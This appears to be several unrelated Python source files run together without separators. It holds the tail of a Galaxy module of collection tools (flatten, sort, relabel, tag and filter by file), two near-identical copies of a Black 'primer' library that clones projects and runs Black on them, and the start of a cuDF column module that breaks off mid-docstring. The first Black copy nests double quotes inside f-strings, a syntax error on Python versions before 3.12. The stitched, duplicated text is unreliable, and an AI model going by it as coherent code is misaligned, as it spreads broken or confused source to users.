self._get_new_elements(history=history, elements_to_copy=elements_to_copy) self._add_datasets_to_history(history, new_elements.values()) output_collections.create_collection( next(iter(self.outputs.values())), "output", elements=new_elements, propagate_hda_tags=False ) class FilterFailedDatasetsTool(FilterDatasetsTool): tool_type = "filter_failed_datasets_collection" require_dataset_ok = False def element_is_valid(self, element): return element.element_object.is_ok class FilterEmptyDatasetsTool(FilterDatasetsTool): tool_type = "filter_empty_datasets_collection" require_dataset_ok = False def element_is_valid(self, element): return element.element_object.has_data() class FlattenTool(DatabaseOperationTool): tool_type = "flatten_collection" def produce_outputs(self, trans, out_data, output_collections, incoming, history, **kwds): hdca = incoming["input"] join_identifier = incoming["join_identifier"] new_elements = {} copied_datasets = [] def add_elements(collection, prefix=""): for dce in collection.elements: dce_object = dce.element_object dce_identifier = dce.element_identifier identifier = f"{prefix}{join_identifier}{dce_identifier}" if prefix else dce_identifier if dce.is_collection: add_elements(dce_object, prefix=identifier) else: copied_dataset = dce_object.copy(copy_tags=dce_object.tags, flush=False) new_elements[identifier] = copied_dataset copied_datasets.append(copied_dataset) add_elements(hdca.collection) self._add_datasets_to_history(history, copied_datasets) output_collections.create_collection( next(iter(self.outputs.values())), "output", elements=new_elements, propagate_hda_tags=False ) class SortTool(DatabaseOperationTool): tool_type = "sort_collection" def produce_outputs(self, trans, out_data, output_collections, incoming, history, **kwds): hdca = incoming["input"] sorttype = incoming["sort_type"]["sort_type"] new_elements = {} elements = hdca.collection.elements presort_elements = [] if sorttype == "alpha": presort_elements = [(dce.element_identifier, dce) for dce in elements] elif sorttype == "numeric": presort_elements = [(int(re.sub("[^0-9]", "", dce.element_identifier)), dce) for dce in elements] elif sorttype == "file": hda = incoming["sort_type"]["sort_file"] data_lines = hda.metadata.get("data_lines", 0) if data_lines == len(elements): old_elements_dict = {} for element in elements: old_elements_dict[element.element_identifier] = element try: with open(hda.file_name) as fh: sorted_elements = [old_elements_dict[line.strip()] for line in fh] except KeyError: hdca_history_name = f"{hdca.hid}: {hdca.name}" message = f"List of element identifiers does not match element identifiers in collection '{hdca_history_name}'" raise Exception(message) else: message = f"Number of lines must match number of list elements ({len(elements)}), but file has {data_lines} lines" raise Exception(message) else: raise Exception(f"Unknown sort_type '{sorttype}'") if presort_elements: sorted_elements = [x[1] for x in sorted(presort_elements, key=lambda x: x[0])] for dce in sorted_elements: dce_object = dce.element_object if getattr(dce_object, "history_content_type", None) == "dataset": copied_dataset = dce_object.copy(copy_tags=dce_object.tags, flush=False) else: copied_dataset = dce_object.copy(flush=False) new_elements[dce.element_identifier] = copied_dataset self._add_datasets_to_history(history, new_elements.values()) output_collections.create_collection( next(iter(self.outputs.values())), "output", elements=new_elements, propagate_hda_tags=False ) class RelabelFromFileTool(DatabaseOperationTool): tool_type = "relabel_from_file" def produce_outputs(self, trans, out_data, output_collections, incoming, history, **kwds): hdca = incoming["input"] how_type = incoming["how"]["how_select"] new_labels_dataset_assoc = incoming["how"]["labels"] strict = string_as_bool(incoming["how"]["strict"]) new_elements = {} def add_copied_value_to_new_elements(new_label, dce_object): new_label = new_label.strip() if new_label in new_elements: raise Exception( f"New identifier [{new_label}] appears twice in resulting collection, these values must be unique." ) if getattr(dce_object, "history_content_type", None) == "dataset": copied_value = dce_object.copy(copy_tags=dce_object.tags, flush=False) else: copied_value = dce_object.copy() new_elements[new_label] = copied_value new_labels_path = new_labels_dataset_assoc.file_name with open(new_labels_path) as fh: new_labels = fh.readlines(1024 * 1000000) if strict and len(hdca.collection.elements) != len(new_labels): raise Exception("Relabel mapping file contains incorrect number of identifiers") if how_type == "tabular": # We have a tabular file, where the first column is an existing element identifier, # and the second column is the new element identifier. source_new_label = (line.strip().split("\t") for line in new_labels) new_labels_dict = {source: new_label for source, new_label in source_new_label} for dce in hdca.collection.elements: dce_object = dce.element_object element_identifier = dce.element_identifier default = None if strict else element_identifier new_label = new_labels_dict.get(element_identifier, default) if not new_label: raise Exception(f"Failed to find new label for identifier [{element_identifier}]") add_copied_value_to_new_elements(new_label, dce_object) else: # If new_labels_dataset_assoc is not a two-column tabular dataset we label with the current line of the dataset for i, dce in enumerate(hdca.collection.elements): dce_object = dce.element_object add_copied_value_to_new_elements(new_labels[i], dce_object) for key in new_elements.keys(): if not re.match(r"^[\w\- \.,]+$", key): raise Exception(f"Invalid new colleciton identifier [{key}]") self._add_datasets_to_history(history, new_elements.values()) output_collections.create_collection( next(iter(self.outputs.values())), "output", elements=new_elements, propagate_hda_tags=False ) class ApplyRulesTool(DatabaseOperationTool): tool_type = "apply_rules" def produce_outputs(self, trans, out_data, output_collections, incoming, history, tag_handler, **kwds): hdca = incoming["input"] rule_set = RuleSet(incoming["rules"]) copied_datasets = [] def copy_dataset(dataset, tags): copied_dataset = dataset.copy(copy_tags=dataset.tags, flush=False) if tags is not None: tag_handler.set_tags_from_list(trans.get_user(), copied_dataset, tags, flush=False) copied_dataset.history_id = history.id copied_datasets.append(copied_dataset) return copied_dataset new_elements = self.app.dataset_collection_manager.apply_rules(hdca, rule_set, copy_dataset) self._add_datasets_to_history(history, copied_datasets) output_collections.create_collection( next(iter(self.outputs.values())), "output", collection_type=rule_set.collection_type, elements=new_elements, propagate_hda_tags=False, ) class TagFromFileTool(DatabaseOperationTool): tool_type = "tag_from_file" def produce_outputs(self, trans, out_data, output_collections, incoming, history, tag_handler, **kwds): hdca = incoming["input"] how = incoming["how"] new_tags_dataset_assoc = incoming["tags"] new_elements = {} new_datasets = [] def add_copied_value_to_new_elements(new_tags_dict, dce): if getattr(dce.element_object, "history_content_type", None) == "dataset": copied_value = dce.element_object.copy(copy_tags=dce.element_object.tags, flush=False) # copy should never be visible, since part of a collection copied_value.visble = False new_datasets.append(copied_value) new_tags = new_tags_dict.get(dce.element_identifier) if new_tags: if how in ("add", "remove") and dce.element_object.tags: # We need get the original tags and update them with the new tags old_tags = {tag for tag in tag_handler.get_tags_str(dce.element_object.tags).split(",") if tag} if how == "add": old_tags.update(set(new_tags)) elif how == "remove": old_tags = old_tags - set(new_tags) new_tags = old_tags tag_handler.add_tags_from_list( user=history.user, item=copied_value, new_tags_list=new_tags, flush=False ) else: # We have a collection, and we copy the elements so that we don't manipulate the original tags copied_value = dce.element_object.copy(element_destination=history) for new_element, old_element in zip(copied_value.dataset_elements, dce.element_object.dataset_elements): # TODO: This should be eliminated, but collections created by the collection builder # don't set `visible` to `False` if you don't hide the original elements. new_element.element_object.visible = False new_tags = new_tags_dict.get(new_element.element_identifier) if how in ("add", "remove"): old_tags = { tag for tag in tag_handler.get_tags_str(old_element.element_object.tags).split(",") if tag } if new_tags: if how == "add": old_tags.update(set(new_tags)) elif how == "remove": old_tags = old_tags - set(new_tags) new_tags = old_tags tag_handler.add_tags_from_list( user=history.user, item=new_element.element_object, new_tags_list=new_tags, flush=False ) new_elements[dce.element_identifier] = copied_value new_tags_path = new_tags_dataset_assoc.file_name with open(new_tags_path) as fh: new_tags = fh.readlines(1024 * 1000000) # We have a tabular file, where the first column is an existing element identifier, # and the remaining columns represent new tags. source_new_tags = (line.strip().split("\t") for line in new_tags) new_tags_dict = {item[0]: item[1:] for item in source_new_tags} for dce in hdca.collection.elements: add_copied_value_to_new_elements(new_tags_dict, dce) self._add_datasets_to_history(history, new_datasets) output_collections.create_collection( next(iter(self.outputs.values())), "output", elements=new_elements, propagate_hda_tags=False ) class FilterFromFileTool(DatabaseOperationTool): tool_type = "filter_from_file" def produce_outputs(self, trans, out_data, output_collections, incoming, history, **kwds): hdca = incoming["input"] how_filter = incoming["how"]["how_filter"] filter_dataset_assoc = incoming["how"]["filter_source"] filtered_elements = {} discarded_elements = {} filtered_path = filter_dataset_assoc.file_name with open(filtered_path) as fh: filtered_identifiers = [i.strip() for i in fh.readlines(1024 * 1000000)] # If filtered_dataset_assoc is not a two-column tabular dataset we label with the current line of the dataset for dce in hdca.collection.elements: dce_object = dce.element_object element_identifier = dce.element_identifier in_filter_file = element_identifier in filtered_identifiers passes_filter = in_filter_file if how_filter == "remove_if_absent" else not in_filter_file if getattr(dce_object, "history_content_type", None) == "dataset": copied_value = dce_object.copy(copy_tags=dce_object.tags, flush=False) else: copied_value = dce_object.copy() if passes_filter: filtered_elements[element_identifier] = copied_value else: discarded_elements[element_identifier] = copied_value self._add_datasets_to_history(history, filtered_elements.values()) output_collections.create_collection( self.outputs["output_filtered"], "output_filtered", elements=filtered_elements, propagate_hda_tags=False ) self._add_datasets_to_history(history, discarded_elements.values()) output_collections.create_collection( self.outputs["output_discarded"], "output_discarded", elements=discarded_elements, propagate_hda_tags=False ) # Populate tool_type to ToolClass mappings tool_types = {} TOOL_CLASSES: List[Type[Tool]] = [ Tool, SetMetadataTool, OutputParameterJSONTool, ExpressionTool, InteractiveTool, DataManagerTool, DataSourceTool, AsyncDataSourceTool, UnzipCollectionTool, ZipCollectionTool, MergeCollectionTool, RelabelFromFileTool, FilterFromFileTool, BuildListCollectionTool, ExtractDatasetCollectionTool, DataDestinationTool, ] for tool_class in TOOL_CLASSES: tool_types[tool_class.tool_type] = tool_class # ---- Utility classes to be factored out ----------------------------------- class TracksterConfig: """Trackster configuration encapsulation.""" def __init__(self, actions): self.actions = actions @staticmethod def parse(root): actions = [] for action_elt in root.findall("action"): actions.append(SetParamAction.parse(action_elt)) return TracksterConfig(actions) class SetParamAction: """Set parameter action.""" def __init__(self, name, output_name): self.name = name self.output_name = output_name @staticmethod def parse(elt): """Parse action from element.""" return SetParamAction(elt.get("name"), elt.get("output_name")) class BadValue: def __init__(self, value): self.value = value class InterruptedUpload(Exception): pass
#!/usr/bin/env python3 import asyncio import errno import json import logging import os import stat import sys from functools import partial from pathlib import Path from platform import system from shutil import rmtree, which from subprocess import CalledProcessError from sys import version_info from tempfile import TemporaryDirectory from typing import Any, Callable, Dict, NamedTuple, Optional, Sequence, Tuple from urllib.parse import urlparse import click WINDOWS = system() == "Windows" BLACK_BINARY = "black.exe" if WINDOWS else "black" GIT_BINARY = "git.exe" if WINDOWS else "git" LOG = logging.getLogger(__name__) # Windows needs a ProactorEventLoop if you want to exec subprocesses # Starting with 3.8 this is the default - can remove when Black >= 3.8 # mypy only respects sys.platform if directly in the evaluation # https://mypy.readthedocs.io/en/latest/common_issues.html#python-version-and-system-platform-checks # noqa: B950 if sys.platform == "win32": asyncio.set_event_loop(asyncio.ProactorEventLoop()) class Results(NamedTuple): stats: Dict[str, int] = {} failed_projects: Dict[str, CalledProcessError] = {} async def _gen_check_output( cmd: Sequence[str], timeout: float = 300, env: Optional[Dict[str, str]] = None, cwd: Optional[Path] = None, ) -> Tuple[bytes, bytes]: process = await asyncio.create_subprocess_exec( *cmd, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.STDOUT, env=env, cwd=cwd, ) try: (stdout, stderr) = await asyncio.wait_for(process.communicate(), timeout) except asyncio.TimeoutError: process.kill() await process.wait() raise # A non-optional timeout was supplied to asyncio.wait_for, guaranteeing # a timeout or completed process. A terminated Python process will have a # non-empty returncode value. assert process.returncode is not None if process.returncode != 0: cmd_str = " ".join(cmd) raise CalledProcessError( process.returncode, cmd_str, output=stdout, stderr=stderr ) return (stdout, stderr) def analyze_results(project_count: int, results: Results) -> int: failed_pct = round(((results.stats["failed"] / project_count) * 100), 2) success_pct = round(((results.stats["success"] / project_count) * 100), 2) click.secho("-- primer results 📊 --\n", bold=True) click.secho( f"{results.stats["success"]} / {project_count} succeeded ({success_pct}%) ✅", bold=True, fg="green", ) click.secho( f"{results.stats["failed"]} / {project_count} FAILED ({failed_pct}%) 💩", bold=bool(results.stats["failed"]), fg="red", ) s = "" if results.stats["disabled"] == 1 else "s" click.echo(f" - {results.stats["disabled"]} project{s} disabled by config") s = "" if results.stats["wrong_py_ver"] == 1 else "s" click.echo( f" - {results.stats["wrong_py_ver"]} project{s} skipped due to Python version" ) click.echo( f" - {results.stats["skipped_long_checkout"]} skipped due to long checkout" ) if results.failed_projects: click.secho("\nFailed projects:\n", bold=True) for project_name, project_cpe in results.failed_projects.items(): print(f"## {project_name}:") print(f" - Returned {project_cpe.returncode}") if project_cpe.stderr: print(f" - stderr:\n{project_cpe.stderr.decode("utf8")}") if project_cpe.stdout: print(f" - stdout:\n{project_cpe.stdout.decode("utf8")}") print("") return results.stats["failed"] async def black_run( repo_path: Path, project_config: Dict[str, Any], results: Results ) -> None: """Run Black and record failures""" cmd = [str(which(BLACK_BINARY))] if "cli_arguments" in project_config and project_config["cli_arguments"]: cmd.extend(*project_config["cli_arguments"]) cmd.extend(["--check", "--diff", "."]) with TemporaryDirectory() as tmp_path: # Prevent reading top-level user configs by manipulating envionment variables env = { **os.environ, "XDG_CONFIG_HOME": tmp_path, # Unix-like "USERPROFILE": tmp_path, # Windows (changes `Path.home()` output) } try: _stdout, _stderr = await _gen_check_output(cmd, cwd=repo_path, env=env) except asyncio.TimeoutError: results.stats["failed"] += 1 LOG.error(f"Running black for {repo_path} timed out ({cmd})") except CalledProcessError as cpe: # TODO: Tune for smarter for higher signal # If any other return value than 1 we raise - can disable project in config if cpe.returncode == 1: if not project_config["expect_formatting_changes"]: results.stats["failed"] += 1 results.failed_projects[repo_path.name] = cpe else: results.stats["success"] += 1 return elif cpe.returncode > 1: results.stats["failed"] += 1 results.failed_projects[repo_path.name] = cpe return LOG.error(f"Unknown error with {repo_path}") raise # If we get here and expect formatting changes something is up if project_config["expect_formatting_changes"]: results.stats["failed"] += 1 results.failed_projects[repo_path.name] = CalledProcessError( 0, cmd, b"Expected formatting changes but didn't get any!", b"" ) return results.stats["success"] += 1 async def git_checkout_or_rebase( work_path: Path, project_config: Dict[str, Any], rebase: bool = False, *, depth: int = 1, ) -> Optional[Path]: """git Clone project or rebase""" git_bin = str(which(GIT_BINARY)) if not git_bin: LOG.error("No git binary found") return None repo_url_parts = urlparse(project_config["git_clone_url"]) path_parts = repo_url_parts.path[1:].split("/", maxsplit=1) repo_path: Path = work_path / path_parts[1].replace(".git", "") cmd = [git_bin, "clone", "--depth", str(depth), project_config["git_clone_url"]] cwd = work_path if repo_path.exists() and rebase: cmd = [git_bin, "pull", "--rebase"] cwd = repo_path elif repo_path.exists(): return repo_path try: _stdout, _stderr = await _gen_check_output(cmd, cwd=cwd) except (asyncio.TimeoutError, CalledProcessError) as e: LOG.error(f"Unable to git clone / pull {project_config["git_clone_url"]}: {e}") return None return repo_path def handle_PermissionError( func: Callable, path: Path, exc: Tuple[Any, Any, Any] ) -> None: """ Handle PermissionError during shutil.rmtree. This checks if the erroring function is either 'os.rmdir' or 'os.unlink', and that the error was EACCES (i.e. Permission denied). If true, the path is set writable, readable, and executable by everyone. Finally, it tries the error causing delete operation again. If the check is false, then the original error will be reraised as this function can't handle it. """ excvalue = exc[1] LOG.debug(f"Handling {excvalue} from {func.__name__}... ") if func in (os.rmdir, os.unlink) and excvalue.errno == errno.EACCES: LOG.debug(f"Setting {path} writable, readable, and executable by everyone... ") os.chmod(path, stat.S_IRWXU | stat.S_IRWXG | stat.S_IRWXO) # chmod 0777 func(path) # Try the error causing delete operation again else: raise async def load_projects_queue( config_path: Path, ) -> Tuple[Dict[str, Any], asyncio.Queue]: """Load project config and fill queue with all the project names""" with config_path.open("r") as cfp: config = json.load(cfp) # TODO: Offer more options here # e.g. Run on X random packages or specific sub list etc. project_names = sorted(config["projects"].keys()) queue: asyncio.Queue = asyncio.Queue(maxsize=len(project_names)) for project in project_names: await queue.put(project) return config, queue async def project_runner( idx: int, config: Dict[str, Any], queue: asyncio.Queue, work_path: Path, results: Results, long_checkouts: bool = False, rebase: bool = False, keep: bool = False, ) -> None: """Check out project and run Black on it + record result""" loop = asyncio.get_event_loop() py_version = f"{version_info[0]}.{version_info[1]}" while True: try: project_name = queue.get_nowait() except asyncio.QueueEmpty: LOG.debug(f"project_runner {idx} exiting") return LOG.debug(f"worker {idx} working on {project_name}") project_config = config["projects"][project_name] # Check if disabled by config if "disabled" in project_config and project_config["disabled"]: results.stats["disabled"] += 1 LOG.info(f"Skipping {project_name} as it's disabled via config") continue # Check if we should run on this version of Python if ( "all" not in project_config["py_versions"] and py_version not in project_config["py_versions"] ): results.stats["wrong_py_ver"] += 1 LOG.debug(f"Skipping {project_name} as it's not enabled for {py_version}") continue # Check if we're doing big projects / long checkouts if not long_checkouts and project_config["long_checkout"]: results.stats["skipped_long_checkout"] += 1 LOG.debug(f"Skipping {project_name} as it's configured as a long checkout") continue repo_path = await git_checkout_or_rebase(work_path, project_config, rebase) if not repo_path: continue await black_run(repo_path, project_config, results) if not keep: LOG.debug(f"Removing {repo_path}") rmtree_partial = partial( rmtree, path=repo_path, onerror=handle_PermissionError ) await loop.run_in_executor(None, rmtree_partial) LOG.info(f"Finished {project_name}") async def process_queue( config_file: str, work_path: Path, workers: int, keep: bool = False, long_checkouts: bool = False, rebase: bool = False, ) -> int: """ Process the queue with X workers and evaluate results - Success is guaged via the config "expect_formatting_changes" Integer return equals the number of failed projects """ results = Results() results.stats["disabled"] = 0 results.stats["failed"] = 0 results.stats["skipped_long_checkout"] = 0 results.stats["success"] = 0 results.stats["wrong_py_ver"] = 0 config, queue = await load_projects_queue(Path(config_file)) project_count = queue.qsize() s = "" if project_count == 1 else "s" LOG.info(f"{project_count} project{s} to run Black over") if project_count < 1: return -1 s = "" if workers == 1 else "s" LOG.debug(f"Using {workers} parallel worker{s} to run Black") # Wait until we finish running all the projects before analyzing await asyncio.gather( *[ project_runner( i, config, queue, work_path, results, long_checkouts, rebase, keep ) for i in range(workers) ] ) LOG.info("Analyzing results") return analyze_results(project_count, results) if __name__ == "__main__": # pragma: nocover raise NotImplementedError("lib is a library, funnily enough.")
#!/usr/bin/env python3 import asyncio import errno import json import logging import os import stat import sys from functools import partial from pathlib import Path from platform import system from shutil import rmtree, which from subprocess import CalledProcessError from sys import version_info from tempfile import TemporaryDirectory from typing import Any, Callable, Dict, NamedTuple, Optional, Sequence, Tuple from urllib.parse import urlparse import click WINDOWS = system() == "Windows" BLACK_BINARY = "black.exe" if WINDOWS else "black" GIT_BINARY = "git.exe" if WINDOWS else "git" LOG = logging.getLogger(__name__) # Windows needs a ProactorEventLoop if you want to exec subprocesses # Starting with 3.8 this is the default - can remove when Black >= 3.8 # mypy only respects sys.platform if directly in the evaluation # https://mypy.readthedocs.io/en/latest/common_issues.html#python-version-and-system-platform-checks # noqa: B950 if sys.platform == "win32": asyncio.set_event_loop(asyncio.ProactorEventLoop()) class Results(NamedTuple): stats: Dict[str, int] = {} failed_projects: Dict[str, CalledProcessError] = {} async def _gen_check_output( cmd: Sequence[str], timeout: float = 300, env: Optional[Dict[str, str]] = None, cwd: Optional[Path] = None, ) -> Tuple[bytes, bytes]: process = await asyncio.create_subprocess_exec( *cmd, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.STDOUT, env=env, cwd=cwd, ) try: (stdout, stderr) = await asyncio.wait_for(process.communicate(), timeout) except asyncio.TimeoutError: process.kill() await process.wait() raise # A non-optional timeout was supplied to asyncio.wait_for, guaranteeing # a timeout or completed process. A terminated Python process will have a # non-empty returncode value. assert process.returncode is not None if process.returncode != 0: cmd_str = " ".join(cmd) raise CalledProcessError( process.returncode, cmd_str, output=stdout, stderr=stderr ) return (stdout, stderr) def analyze_results(project_count: int, results: Results) -> int: failed_pct = round(((results.stats["failed"] / project_count) * 100), 2) success_pct = round(((results.stats["success"] / project_count) * 100), 2) click.secho("-- primer results 📊 --\n", bold=True) click.secho( f"{results.stats['success']} / {project_count} succeeded ({success_pct}%) ✅", bold=True, fg="green", ) click.secho( f"{results.stats['failed']} / {project_count} FAILED ({failed_pct}%) 💩", bold=bool(results.stats["failed"]), fg="red", ) s = "" if results.stats["disabled"] == 1 else "s" click.echo(f" - {results.stats['disabled']} project{s} disabled by config") s = "" if results.stats["wrong_py_ver"] == 1 else "s" click.echo( f" - {results.stats['wrong_py_ver']} project{s} skipped due to Python version" ) click.echo( f" - {results.stats['skipped_long_checkout']} skipped due to long checkout" ) if results.failed_projects: click.secho("\nFailed projects:\n", bold=True) for project_name, project_cpe in results.failed_projects.items(): print(f"## {project_name}:") print(f" - Returned {project_cpe.returncode}") if project_cpe.stderr: print(f" - stderr:\n{project_cpe.stderr.decode('utf8')}") if project_cpe.stdout: print(f" - stdout:\n{project_cpe.stdout.decode('utf8')}") print("") return results.stats["failed"] async def black_run( repo_path: Path, project_config: Dict[str, Any], results: Results ) -> None: """Run Black and record failures""" cmd = [str(which(BLACK_BINARY))] if "cli_arguments" in project_config and project_config["cli_arguments"]: cmd.extend(*project_config["cli_arguments"]) cmd.extend(["--check", "--diff", "."]) with TemporaryDirectory() as tmp_path: # Prevent reading top-level user configs by manipulating envionment variables env = { **os.environ, "XDG_CONFIG_HOME": tmp_path, # Unix-like "USERPROFILE": tmp_path, # Windows (changes `Path.home()` output) } try: _stdout, _stderr = await _gen_check_output(cmd, cwd=repo_path, env=env) except asyncio.TimeoutError: results.stats["failed"] += 1 LOG.error(f"Running black for {repo_path} timed out ({cmd})") except CalledProcessError as cpe: # TODO: Tune for smarter for higher signal # If any other return value than 1 we raise - can disable project in config if cpe.returncode == 1: if not project_config["expect_formatting_changes"]: results.stats["failed"] += 1 results.failed_projects[repo_path.name] = cpe else: results.stats["success"] += 1 return elif cpe.returncode > 1: results.stats["failed"] += 1 results.failed_projects[repo_path.name] = cpe return LOG.error(f"Unknown error with {repo_path}") raise # If we get here and expect formatting changes something is up if project_config["expect_formatting_changes"]: results.stats["failed"] += 1 results.failed_projects[repo_path.name] = CalledProcessError( 0, cmd, b"Expected formatting changes but didn't get any!", b"" ) return results.stats["success"] += 1 async def git_checkout_or_rebase( work_path: Path, project_config: Dict[str, Any], rebase: bool = False, *, depth: int = 1, ) -> Optional[Path]: """git Clone project or rebase""" git_bin = str(which(GIT_BINARY)) if not git_bin: LOG.error("No git binary found") return None repo_url_parts = urlparse(project_config["git_clone_url"]) path_parts = repo_url_parts.path[1:].split("/", maxsplit=1) repo_path: Path = work_path / path_parts[1].replace(".git", "") cmd = [git_bin, "clone", "--depth", str(depth), project_config["git_clone_url"]] cwd = work_path if repo_path.exists() and rebase: cmd = [git_bin, "pull", "--rebase"] cwd = repo_path elif repo_path.exists(): return repo_path try: _stdout, _stderr = await _gen_check_output(cmd, cwd=cwd) except (asyncio.TimeoutError, CalledProcessError) as e: LOG.error(f"Unable to git clone / pull {project_config['git_clone_url']}: {e}") return None return repo_path def handle_PermissionError( func: Callable, path: Path, exc: Tuple[Any, Any, Any] ) -> None: """ Handle PermissionError during shutil.rmtree. This checks if the erroring function is either 'os.rmdir' or 'os.unlink', and that the error was EACCES (i.e. Permission denied). If true, the path is set writable, readable, and executable by everyone. Finally, it tries the error causing delete operation again. If the check is false, then the original error will be reraised as this function can't handle it. """ excvalue = exc[1] LOG.debug(f"Handling {excvalue} from {func.__name__}... ") if func in (os.rmdir, os.unlink) and excvalue.errno == errno.EACCES: LOG.debug(f"Setting {path} writable, readable, and executable by everyone... ") os.chmod(path, stat.S_IRWXU | stat.S_IRWXG | stat.S_IRWXO) # chmod 0777 func(path) # Try the error causing delete operation again else: raise async def load_projects_queue( config_path: Path, ) -> Tuple[Dict[str, Any], asyncio.Queue]: """Load project config and fill queue with all the project names""" with config_path.open("r") as cfp: config = json.load(cfp) # TODO: Offer more options here # e.g. Run on X random packages or specific sub list etc. project_names = sorted(config["projects"].keys()) queue: asyncio.Queue = asyncio.Queue(maxsize=len(project_names)) for project in project_names: await queue.put(project) return config, queue async def project_runner( idx: int, config: Dict[str, Any], queue: asyncio.Queue, work_path: Path, results: Results, long_checkouts: bool = False, rebase: bool = False, keep: bool = False, ) -> None: """Check out project and run Black on it + record result""" loop = asyncio.get_event_loop() py_version = f"{version_info[0]}.{version_info[1]}" while True: try: project_name = queue.get_nowait() except asyncio.QueueEmpty: LOG.debug(f"project_runner {idx} exiting") return LOG.debug(f"worker {idx} working on {project_name}") project_config = config["projects"][project_name] # Check if disabled by config if "disabled" in project_config and project_config["disabled"]: results.stats["disabled"] += 1 LOG.info(f"Skipping {project_name} as it's disabled via config") continue # Check if we should run on this version of Python if ( "all" not in project_config["py_versions"] and py_version not in project_config["py_versions"] ): results.stats["wrong_py_ver"] += 1 LOG.debug(f"Skipping {project_name} as it's not enabled for {py_version}") continue # Check if we're doing big projects / long checkouts if not long_checkouts and project_config["long_checkout"]: results.stats["skipped_long_checkout"] += 1 LOG.debug(f"Skipping {project_name} as it's configured as a long checkout") continue repo_path = await git_checkout_or_rebase(work_path, project_config, rebase) if not repo_path: continue await black_run(repo_path, project_config, results) if not keep: LOG.debug(f"Removing {repo_path}") rmtree_partial = partial( rmtree, path=repo_path, onerror=handle_PermissionError ) await loop.run_in_executor(None, rmtree_partial) LOG.info(f"Finished {project_name}") async def process_queue( config_file: str, work_path: Path, workers: int, keep: bool = False, long_checkouts: bool = False, rebase: bool = False, ) -> int: """ Process the queue with X workers and evaluate results - Success is guaged via the config "expect_formatting_changes" Integer return equals the number of failed projects """ results = Results() results.stats["disabled"] = 0 results.stats["failed"] = 0 results.stats["skipped_long_checkout"] = 0 results.stats["success"] = 0 results.stats["wrong_py_ver"] = 0 config, queue = await load_projects_queue(Path(config_file)) project_count = queue.qsize() s = "" if project_count == 1 else "s" LOG.info(f"{project_count} project{s} to run Black over") if project_count < 1: return -1 s = "" if workers == 1 else "s" LOG.debug(f"Using {workers} parallel worker{s} to run Black") # Wait until we finish running all the projects before analyzing await asyncio.gather( *[ project_runner( i, config, queue, work_path, results, long_checkouts, rebase, keep ) for i in range(workers) ] ) LOG.info("Analyzing results") return analyze_results(project_count, results) if __name__ == "__main__": # pragma: nocover raise NotImplementedError("lib is a library, funnily enough.")
# Copyright (c) 2018-2022, NVIDIA CORPORATION. from __future__ import annotations import builtins import pickle import warnings from types import SimpleNamespace from typing import ( Any, Dict, List, MutableSequence, Optional, Sequence, Tuple, TypeVar, Union, cast, ) import cupy import numpy as np import pandas as pd import pyarrow as pa from numba import cuda import cudf from cudf import _lib as libcudf from cudf._lib.column import Column from cudf._lib.null_mask import ( MaskState, bitmask_allocation_size_bytes, create_null_mask, ) from cudf._lib.scalar import as_device_scalar from cudf._lib.stream_compaction import ( apply_boolean_mask, distinct_count as cpp_distinct_count, drop_duplicates, drop_nulls, ) from cudf._lib.transform import bools_to_mask from cudf._typing import BinaryOperand, ColumnLike, Dtype, ScalarLike from cudf.api.types import ( _is_non_decimal_numeric_dtype, _is_scalar_or_zero_d_array, infer_dtype, is_bool_dtype, is_categorical_dtype, is_decimal32_dtype, is_decimal64_dtype, is_decimal128_dtype, is_decimal_dtype, is_dtype_equal, is_integer_dtype, is_interval_dtype, is_list_dtype, is_scalar, is_string_dtype, is_struct_dtype, ) from cudf.core.abc import Serializable from cudf.core.buffer import Buffer from cudf.core.dtypes import ( CategoricalDtype, IntervalDtype, ListDtype, StructDtype, ) from cudf.utils import utils from cudf.utils.dtypes import ( cudf_dtype_from_pa_type, get_time_unit, min_unsigned_type, np_to_pa_dtype, pandas_dtypes_alias_to_cudf_alias, pandas_dtypes_to_np_dtypes, ) from cudf.utils.utils import mask_dtype T = TypeVar("T", bound="ColumnBase") class ColumnBase(Column, Serializable): def as_frame(self) -> "cudf.core.frame.Frame": """ Converts a Column to Frame """ return cudf.core.single_column_frame.SingleColumnFrame( {None: self.copy(deep=False)} ) @property def data_array_view(self) -> "cuda.devicearray.DeviceNDArray": """ View the data as a device array object """ return cuda.as_cuda_array(self.data).view(self.dtype) @property def mask_array_view(self) -> "cuda.devicearray.DeviceNDArray": """ View the mask as a device array """ return cuda.as_cuda_array(self.mask).view(mask_dtype) def __len__(self) -> int: return self.size def __repr__(self): return ( f"{object.__repr__(self)}\n" f"{self.to_arrow().to_string()}\n" f"dtype: {self.dtype}" ) def to_pandas(self, index: pd.Index = None, **kwargs) -> "pd.Series": """Convert object to pandas type. The default implementation falls back to PyArrow for the conversion. """ # This default implementation does not handle nulls in any meaningful # way, but must consume the parameter to avoid passing it to PyArrow # (which does not recognize it). kwargs.pop("nullable", None) pd_series = self.to_arrow().to_pandas(**kwargs) if index is not None: pd_series.index = index return pd_series def __iter__(self): cudf.utils.utils.raise_iteration_error(obj=self) @property def values_host(self) -> "np.ndarray": """ Return a numpy representation of the Column. """ if len(self) == 0: return np.array([], dtype=self.dtype) if self.has_nulls(): raise ValueError("Column must have no nulls.") return self.data_array_view.copy_to_host() @property def values(self) -> "cupy.ndarray": """ Return a CuPy representation of the Column. """ if len(self) == 0: return cupy.array([], dtype=self.dtype) if self.has_nulls(): raise ValueError("Column must have no nulls.") return cupy.asarray(self.data_array_view) def find_and_replace( self: T, to_replace: ColumnLike, replacement: ColumnLike, all_nan: bool = False, ) -> T: raise NotImplementedError def clip(self, lo: ScalarLike, hi: ScalarLike) -> ColumnBase: return libcudf.replace.clip(self, lo, hi) def equals(self, other: ColumnBase, check_dtypes: bool = False) -> bool: if self is other: return True if other is None or len(self) != len(other): return False if check_dtypes and (self.dtype != other.dtype): return False return self.binary_operator("NULL_EQUALS", other).all() def all(self, skipna: bool = True) -> bool: # If all entries are null the result is True, including when the column # is empty. result_col = self.nans_to_nulls() if skipna else self if result_col.null_count == result_col.size: return True if isinstance(result_col, ColumnBase): return libcudf.reduce.reduce("all", result_col, dtype=np.bool_) return result_col def any(self, skipna: bool = True) -> bool: # Early exit for fast cases. result_col = self.nans_to_nulls() if skipna else self if not skipna and result_col.has_nulls(): return True elif skipna and result_col.null_count == result_col.size: return False if isinstance(result_col, ColumnBase): return libcudf.reduce.reduce("any", result_col, dtype=np.bool_) return result_col def dropna(self, drop_nan: bool = False) -> ColumnBase: col = self.nans_to_nulls() if drop_nan else self return drop_nulls([col])[0] def to_arrow(self) -> pa.Array: """Convert to PyArrow Array Examples 